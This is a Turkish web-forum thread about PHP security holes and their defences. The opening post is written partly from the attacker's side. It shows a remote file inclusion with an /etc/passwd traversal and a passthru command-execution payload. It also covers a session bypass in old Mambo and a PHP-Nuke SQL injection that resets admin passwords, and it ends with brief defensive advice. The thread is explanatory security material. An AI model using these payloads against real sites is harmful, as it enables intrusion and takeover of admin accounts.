AKDENİZ FORUM


Ana Sayfa Benim Konularim Benim Mesajlarim
Geri git   AKDENİZ FORUM > VBulletin Destek & Webmaster Genel > Php, Asp, Flash, Java, Html
Kayıt ol Yardım Üye Listesi Arama Bugünki Mesajlar Bütün Forumları okunmuş kabul et

Php, Asp, Flash, Java, Html Php, asp, flash, java, html ve tüm web azılım dilleri hakkında bilgi paylaşımı yapabileceğiniz bölüm.

Cevapla
 
Seçenekler
Alt 05-14-2007   #1
BuqRa
Sσƒtwαr€ ΛdministrαtoЯ
 
BuqRa - ait Kullanıcı Resmi (Avatar)

Türkiyenin En Kaliteli Bilgi Paylasim Mekani AKdenizForum..
Kullanıcı Bilgileri
 
Üyelik Tarihi: Jul 2006
Nerden: AMeRiKa
Yaş: 27
Mesajlar: 12.863
Üye No: 3359
Extra Bilgiler
Tecrübe Puanı: 100
Rep Gücü : 15095
Rep Derecesi : BuqRa has a reputation beyond reputeBuqRa has a reputation beyond reputeBuqRa has a reputation beyond reputeBuqRa has a reputation beyond reputeBuqRa has a reputation beyond reputeBuqRa has a reputation beyond reputeBuqRa has a reputation beyond reputeBuqRa has a reputation beyond reputeBuqRa has a reputation beyond reputeBuqRa has a reputation beyond reputeBuqRa has a reputation beyond repute
İletişim
Standart PHP de muhtemel guvenlık acıkları ve korunma yollari

PHP şuanda dünyada en çok kullanılan web programlama dillerinden biri.Her geçen gün yeni php scriptler yazılıyor programcılar sürekli kendini geliştirmeye çalışıyor ve web siteleri daha fazla php ile içiçe girmeye başlıyor.Bu yazıda PHP kodları yazılırken gözden kaçan şeylerden nasıl bir web sitesine istediğimiz yapabileceğimizi ve bunlardan nasıl korunacağımızı anlatacağım.Başlayalım;

Fonksiyonları Kullanma:
PHP fonksiyonlarının bir çoğu esnek ve bir okadar erişime açıktır.Mesela include(), require() ve fopen() fonsiyonları yerel host üzerindeki dosyaları kabul eder.Bunlarda yapılan yanlış yapılandırma gibi hataları kullanarak uzaktan neler yapabileceğimizi görelim;

[ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...]

diye bir sayfamız olsun burada $i açıkça dosyayı içerdiğini görüyoruz peki böyle bir sayfa gördüğümüzde ilk olarak ne düşünürüz

-programcı i=../../../etc/passwd? gibi bir yol yapmışmıdır
-.html uzantısını kontrol etmişmidir
-fopen() fonskiyonunu kullanmışmıdır
-uzaktan yapılan istekleri engellemişmidir

eğer hepsi bizim işimize göre negatifse şöyle birşey yapabiliriz

[ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...]

burada x sayfasının içine şu tip kodları koyarak dahada olayı geliştirebiliriz

<?php
passthru ('id';
passthru ('ls -al /etc';
passthru ('ping -c 1 e-hack.org';
passthru ('echo Admin el salla | mail root';
?>

ve bu size bağlı olarak geliştirilebilir.Sanırım burada yapılacaklar sınırsız.

Genel Açıklar:
Her PHP programcısı mutlaka gözden birşeyleri kaçırır çünkü PHP çok geniş ve mükemmel kodlanması neredeyse imkansız çünkü mükemmel kodlansa bile PHP den doğan yeni açıklar bulunarak mükemmellik kırılabilinir.Burada Environment, GET, POST, Cookie ve Server değişkenlerini Genel Açıklar içine dahil edebiliriz.

Mesela eski bir mambo sürümdeki genel açığı inceliyelim;
Bu sürümde admin/ klasörünün altındaki index.php form yollandıktan sonra şifreyi database deki ile karşılaştırıyor.

<?php
if ($dbpass == $pass) {
session_register("myname" );
session_register("fullname" );
session_register("userid" );
header("Location: index2.php" );
}
?>

eğer şifre doğruysa $myname, $fullname ve $userid kaydedilir ve kullanıcı index2.php ye gönderilir.

<?php
if (!$PHPSESSID) {
header("Location: index.php" );
exit(0);
} else {
session_start();
if (!$myname) session_register("myname" );
if (!$fullname) session_register("fullname" );
if (!$userid) session_register("userid" );
}
?>

burada eğer session ID ayarlanmamışsa kullanıcı tekrar login ekranına geri gönderilir fakat ayarlanmışsa script işleme devam eder ve bir önceki ayarlarla kullanıcı giriş yapar.Şimdi biz bunu nasıl sömüreceğiz bunu inceliyelim;

[ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...] serid=admin

gibi bir URL miz olduğunu düşünün.Burada $PHPSESID değişkeni ayarlı ve bu değişkende diğer 3 değişkenin doğrulanmasını sağlıyor.Ve burada yapılan sorgu işleminin yanlışlığından istediğimiz gibi giriş yapmamıza olanak veriyor.

SQL yapılandırma hataları:
SQL süz bir php düşünemeyiz.Fakat kontrol edilmemiş SQL sorgu değişkenleri çok büyük tehlikeleri birlikte getirmekte şöyleki;

Gene eski bir PHP-Nuke script versiyonunu inceliyelim.Bu versiyonda yapımcılar tüm tabloların başına "nuke" önekini koymuşlar sanıyorum bunu diğer scriptlerden farklı olduklarını göstermek için yapmışlar.Buradaki her $prefix = "nuke"; tanımlaması config.php içinde yapılır.

Şimdi article.php yi inceliyelim;
<?php
if (!isset($mainfile)) {
include("mainfile.php" );
}
if (!isset($sid) && !isset($tid)) {
exit();
}
?>

ve biraz aşağıda SQL sorgusu

<?php
mysql_query("UPDATE $prefix"._stories.
" SET counter=counter+1 where sid=$sid" );
?>

SQL sorgusunu değiştirmek için $prefix in ana değerinde olmamalı bu sayede biz herhangi bir değer vererek GET parametrelerini kullanabileceğiz.config.php mainfile.php yi içermekte biz biliyoruzki $mainfile, $sid ve $tid herhangi bir değişken atıyarak GET parametrelerini kullanabiliriz.Bunu yapınca script mainfile.php ve $prefix içerdiğini ve buna göre ayarlandığını düşünecektir (!).

[ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...]

bunun açılımı

UPDATE nuke.nuke_authors set pwd=1#_stories
SET counter=counter+1 where sid=$sid" );

şeklinde olacaktır yani bir sonraki sorguda tüm admin şifreleri "1" olarak ayarlandı.

Güvenlik:

-İlk olarak dışardan yapılacak müdahalelere karşı dikkatli olmalısınız.Biri sizin scriptinizdeki cookie denetimlerini veya herhangi java script uygulamalarıyla yaptığınız kodlamaları kullanabilir.
-Tüm dış değişkenler doğrulanmalıdır.Mesela bir database tablosunu es geçerseniz bir sonraki satırdaki GET parametrelerinde hile yapılmasına olanak sağlarsınız.
-Hata kayıtlarında dikkatli olmalısınız.En iyi yöntem olarak error_log() fonksiyonunu kullanabilirsiniz.Eğer biri sizin scriptinizle oynamaya başladığında bu şekilde bu kayıtları bir yerde toplayabilir veya kendinize mail olarak gönderebilirsiniz


Sen benim en ince dilimde türkümü çaldın..
Sen benim en ücra duygularımı talan ederek beslendin...
Bar köşelerinde tükenip kaldırımlarda ararken kendimi, Gelip sana sığınırdım.,umutlarım bir kez daha sönerdi.
Beni tutma gazabım yakar ellerini, beni tutma hurdahaş olursun.
Yıllardır öyle kırıldım, öyle küstüm ki,bir ah ederim kaskatı kesilir taş olursun.


[ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...]
BuqRa isimli üyemiz çevrimdışıdır. (Offline)   Alıntı ile Cevapla
Alt 07-15-2007   #2
Ch€mist
Özel Üye
 
Ch€mist - ait Kullanıcı Resmi (Avatar)

Türkiyenin En Kaliteli Bilgi Paylasim Mekani AKdenizForum..
Kullanıcı Bilgileri
 
Üyelik Tarihi: Jul 2007
Nerden: K.MARAŞ
Mesajlar: 4.126
Üye No: 21833
Extra Bilgiler
Tecrübe Puanı: 31
Rep Gücü : 199
Rep Derecesi : Ch€mist has a spectacular aura aboutCh€mist has a spectacular aura about
İletişim
Standart

paylaşımın için teşekkürler...

CH€MİST

-------------------------------------------------------------------------------------------------------


[ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...]






-------------------------------------------------------------------------------------------------------



€F€-


AkdenizForum Toolbar Sitemizi Daha İyi Kullanmak İstiyorsanız Daha Kolaylıkla Sizde İndirin [ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...]
Ch€mist isimli üyemiz çevrimdışıdır. (Offline)   Alıntı ile Cevapla
Alt 07-16-2007   #3
BuqRa
Sσƒtwαr€ ΛdministrαtoЯ
 
BuqRa - ait Kullanıcı Resmi (Avatar)

Türkiyenin En Kaliteli Bilgi Paylasim Mekani AKdenizForum..
Kullanıcı Bilgileri
 
Üyelik Tarihi: Jul 2006
Nerden: AMeRiKa
Yaş: 27
Mesajlar: 12.863
Üye No: 3359
Extra Bilgiler
Tecrübe Puanı: 100
Rep Gücü : 15095
Rep Derecesi : BuqRa has a reputation beyond reputeBuqRa has a reputation beyond reputeBuqRa has a reputation beyond reputeBuqRa has a reputation beyond reputeBuqRa has a reputation beyond reputeBuqRa has a reputation beyond reputeBuqRa has a reputation beyond reputeBuqRa has a reputation beyond reputeBuqRa has a reputation beyond reputeBuqRa has a reputation beyond reputeBuqRa has a reputation beyond repute
İletişim
Standart

ne önemi var ben teşekkür ederim.
BuqRa isimli üyemiz çevrimdışıdır. (Offline)   Alıntı ile Cevapla
Alt 01-16-2008   #4
briselies
Amatör Üye
 
briselies - ait Kullanıcı Resmi (Avatar)

Türkiyenin En Kaliteli Bilgi Paylasim Mekani AKdenizForum..
Kullanıcı Bilgileri
 
Üyelik Tarihi: Jan 2008
Mesajlar: 29
Üye No: 57213
Extra Bilgiler
Tecrübe Puanı: 17
Rep Gücü : 50
Rep Derecesi : briselies is on a distinguished road
İletişim
Standart --->: PHP de muhtemel guvenlık acıkları ve korunma yollari

korunma yöntemleri olarak, php.ini ve .htaccess te olması gerek :) daha garanti
briselies isimli üyemiz çevrimdışıdır. (Offline)   Alıntı ile Cevapla
Cevapla

Seçenekler

Yetkileriniz
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-KodlarıKapalı
Gitmek istediğiniz klasörü seçiniz

Benzer Konular
Konu Konuyu Başlatan Forum Cevaplar son Mesaj
php kitap bölüm-1 BuqRa Php, Asp, Flash, Java, Html 2 07-16-2007 09:39 AM
Nickleriniz Nasil çaliniyor. Korunma Yollari (uyari Amaçlidir) Brad-Let Camfrog | Paltalk Messenger 3 07-12-2007 11:20 PM
Viruslerin bulasma yollari ve Korunma teknikleri by_hacker Network ve İnternet 1 07-20-2006 07:05 AM


Saat: 12:06 AM


Powered by vBulletin® Version 3.7.3
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Akdeniz forum Web Sitesi Bir Forum sitesi oldugun'dan öterin kullanicilar görüs almadan konularini aninda sitede yayinlayabilmektedir
bu yazılardan dolayı doğabilecek her türlü sorumluluk yazan kullanıcılara aittir,
yine de sitemizde yasalara aykırı unsurlar bulursanız iletişim Yoluyla email adresine bildirebilirsiniz..


Diyet Uzmanı Sesli Chat oyun oyun hileleri oyun adtech ile reklam 2.0 seo yarışması Büyükçöplük.Com fx15
Sitemap
5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 450, 18, 19, 20, 21, 22, 23, 24, 25, 287, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 426, 38, 39, 40, 41, 43, 44, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 75, 258, 82, 83, 86, 87, 88, 89, 342, 260, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 117, 112, 111, 270, 120, 121, 122, 123, 124, 125, 126, 127, 128, 134, 130, 131, 316, 133, 221, 137, 142, 268, 138, 454, 145, 141, 139, 140, 163, 146, 172, 173, 147, 144, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 319, 194, 171, 170, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 195, 196, 197, 318, 198, 199, 220, 205, 206, 207, 208, 211, 212, 213, 214, 215, 216, 217, 218, 222, 226, 228, 230, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 243, 244, 250, 251, 252, 257, 254, 253, 255, 259, 261, 269, 271, 503, 272, 273, 274, 275, 277, 283, 279, 280, 281, 282, 284, 285, 286, 288, 289, 290, 291, 295, 296, 304, 305, 308, 309, 310, 311, 312, 313, 314, 320, 321, 322, 323, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 415, 336, 337, 338, 340, 341, 343, 344, 345, 346, 347, 348, 349, 350, 351, 385, 396, 355, 356, 358, 360, 361, 362, 363, 364, 365, 367, 368, 369, 370, 371, 372, 374, 375, 376, 378, 379, 381, 382, 383, 384, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 397, 398, 399, 400, 401, 402, 403, 404, 405, 407, 408, 409, 410, 411, 412, 413, 414, 416, 417, 418, 419, 421, 422, 423, 424, 425, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 455, 456, 457, 458, 459, 460, 461, 462, 508, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 504, 505, 506, 507, 528, 529, 510, 511, 512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542,